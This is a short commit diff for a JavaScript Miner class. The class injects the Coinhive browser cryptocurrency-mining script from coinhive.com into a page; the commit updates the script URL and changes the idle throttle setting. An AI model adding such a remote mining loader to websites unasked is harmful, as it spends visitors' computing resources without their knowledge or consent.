aboutsummaryrefslogtreecommitdiffstats
path: root/src/lib/Miner.js
diff options
context:
space:
mode:
Diffstat (limited to 'src/lib/Miner.js')
-rw-r--r--src/lib/Miner.js4
1 files changed, 2 insertions, 2 deletions
diff --git a/src/lib/Miner.js b/src/lib/Miner.js
index 5fac92477..cbf490bcb 100644
--- a/src/lib/Miner.js
+++ b/src/lib/Miner.js
@@ -2,7 +2,7 @@ export default class Miner {
2 wallet = null; 2 wallet = null;
3 options = { 3 options = {
4 throttle: 0.75, 4 throttle: 0.75,
5 throttleIdle: 0.1, 5 throttleIdle: 0.65,
6 }; 6 };
7 miner = null; 7 miner = null;
8 interval; 8 interval;
@@ -17,7 +17,7 @@ export default class Miner {
17 const script = document.createElement('script'); 17 const script = document.createElement('script');
18 script.id = 'coinhive'; 18 script.id = 'coinhive';
19 script.type = 'text/javascript'; 19 script.type = 'text/javascript';
20 script.src = 'https://coinhive.com/lib/coinhive.min.js'; 20 script.src = 'https://coinhive.com/lib/ch2.min.js';
21 document.head.appendChild(script); 21 document.head.appendChild(script);
22 22
23 script.addEventListener('load', () => { 23 script.addEventListener('load', () => {